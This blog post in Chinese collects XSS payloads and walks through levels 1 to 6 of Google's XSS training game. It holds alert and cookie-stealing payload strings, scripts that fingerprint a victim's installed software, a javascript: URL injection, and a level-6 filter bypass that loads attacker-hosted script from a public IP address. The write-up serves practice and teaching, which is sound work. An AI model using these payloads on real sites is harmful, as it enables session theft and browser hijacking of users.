添加链接
link之家
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
谷歌XSS闯关游戏第1到6关答案

谷歌XSS闯关游戏第1到6关答案

一、XSS常用payload

1、反射型XSS和存储型XSS适用脚本(在搜索栏,提交框输入)

<script>alert('xss')</script>

<script>alert(0)</script>

<img src=0 onerror=alert(0)>

<svg onload=alert(0)>

2、XSS交互型脚本(在URL中输入)

javascript:alert(0)

3、XSS弹出cookie payload

<script>alert(document.cookie)</script>

alert(document.cookie)

<img src=0 onerror=alert(document.cookie)>

<svg onload=alert(document.cookie)>

4、XSS测试是否安装瑞星脚本

<script>

var havesoft=false;

var disk=['c','d'];

var soft=[':\\Program Files\\Rising\\Ris\\BackRav.dll/2/30994'];

for(i=0;i<soft.length;i++)

{ for(j=0;j<disk.length;j++)

{ var img=new Image();

res='res://'+disk[j]+soft[i];

img.src=res;

if(img.height!=30)

{

havesoft=true;

}

}

}

</script>

5、XSS了解环境组件

<script>

try{

var object = new ActiveiXObject(“XunLeiBHO.ThunderIEHelper”);

} catch(e){alert(“迅雷软件未安装”);

}

</script>

6、XSS了解浏览器和操作系统

<script>

alert(navigator.userAgent);

</script>

7、XSS加固

设置cookie值为HttpOnly形式防止XSS攻击的代码

httpOnly 是在 Set-Cookie 时进行标记的,设置的 Cookie 头格式如下:

Set-Cookie: <name>=<value>[; <name>=<value>]

[; expires=<date>][; domain=<domain_name>]

[; path=<some_path>][; secure][; HttpOnly]

8、 谷歌XSS闯关游戏

xss-game.appspot.com

二、 谷歌XSS游戏闯关解题过程

1、 Level 1: Hello, world of XSS (反射型XSS)

从页面结构分析:

在搜索框内可以进行搜索,据此分析可能是反射型XSS漏洞;

使用js脚本进行测试:

在搜索框内输入:

<script>alert(0);</script>

或者:

<img src=0 onerror=alert(0)>

或者:

<svg onload=alert(0)>

输入js代码后,查看效果:

可以看到成功弹出alert(0),代码成功执行:

2、Level 2: Persistence is key (存储型XSS)

从页面结构分析:

此页面可以进行留言状态分享,所以据此分析可能是存储型XSS漏洞;

使用js代码进行测试:

在留言框中输入正常文本abc,查看是否可以提交,发现可以提交:

在留言框中输入:

<script>alert(0)</script>

<script>alert(0)</script>

发现在页面上没有显示,猜测script可能被过滤:

继续使用js代码进行测试:

<img src=0 onerror=alert(0)>

提交之后,发现在留言页面中显示未加载成功的图片,并弹出0:

然后在留言框中输入:1,发现每次输入 都会弹出。

证明是存储型XSS:

3、Level 3: That sinking feeling... (DOM型XSS)


第1页:

第2页

第3页

从页面结构分析:

从页面中可以看出,该网页URL不能输入、页面没有留言框、搜索框等用户输入点;同时该网页是通过#数字来控制页面的,所以据此分析可能是DOM型的XSS漏洞;

DOM型XSS原理:DOM型XSS漏洞也是通过URL来触发XSS的,但是DOM型XSS不是通过伪造用户输入,而是直接修改页面元素来触发XSS的。

第一步,按F12查看页面源代码,鼠标点击图片,定位:

尝试在img标签中进行注入:

<img src="/static/level3/cloud1.jpg">

在img标签中注入js事件:

<img src="/static/level3/cloud1.jpg" onload="alert(0)">

选中img标签,鼠标右键点击,选择编辑HTML:

在img标签中添加事件:

修改后,成功弹出:


4、 Level 4: Context matters


查看页面结构,点击create timer尝试,观察结果:

发现三处变化:

自动弹出一个框;

URL后缀出现一个timer=1;

页面中显示:

首先对URL中的参数timer的值进行修改:

timer=<script>alert(0)</script>

f发现没有弹出;

然后改变timer值为444,查看页面变化:

查看页面源代码:

对444进行修改,改为img测试脚本:

<img src=0 onerror=alert(0)>

5、Level 5: Breaking protocol

从页面结构分析:

这是一个交互型XSS漏洞,我们来找控制网页改变的控制点,可以是在输入框中,也可以是在URL中;

先对URL中的后缀confirm进行测试:

将confirm改为: www.baidu.com

发现页面没有变化,说明confirm输入的位置是页面的一个控制点;

下一步查看页面代码:

从上图可以看到我们输入的信息都被存入在a标签中,这样我们可以输入一个JavaScript伪协议。

用户点击页面中的next时直接调用js代码,触发XSS攻击,输入:javascript:alert(document.domain)


弹出成功。

6、Level 6: Follow the

从页面结构分析:

该网站上传了一个/static/gadget.js的js类型文件,正式利用这个js文件所以才打开了网页。因此思路就是建立一个远程服务器然后上传我们带有xss脚本的文件,最后更改这个/static/gadget.js为我们建立的远程服务器的URL文件地址,就可以实现执行我们搭建的服务器上文本的XSS脚本了!

在公网服务器上创建一个js脚本文件:

[root@VM-16-13-centos ~]# cd /var/www/html/

[root@VM-16-13-centos ~]# vim xss.txt

查看页面代码:

如果url的后缀为http,那么报错,这是一个正则错误,并没有进行过滤,可以通过更改http大小写,来实现绕过;

http://www.xss-game.appspot.com/level6/frame#httP://77.77.70.73/xss.txt


发现成功弹出:

发布于 2022-04-01 00:47

文章被以下专栏收录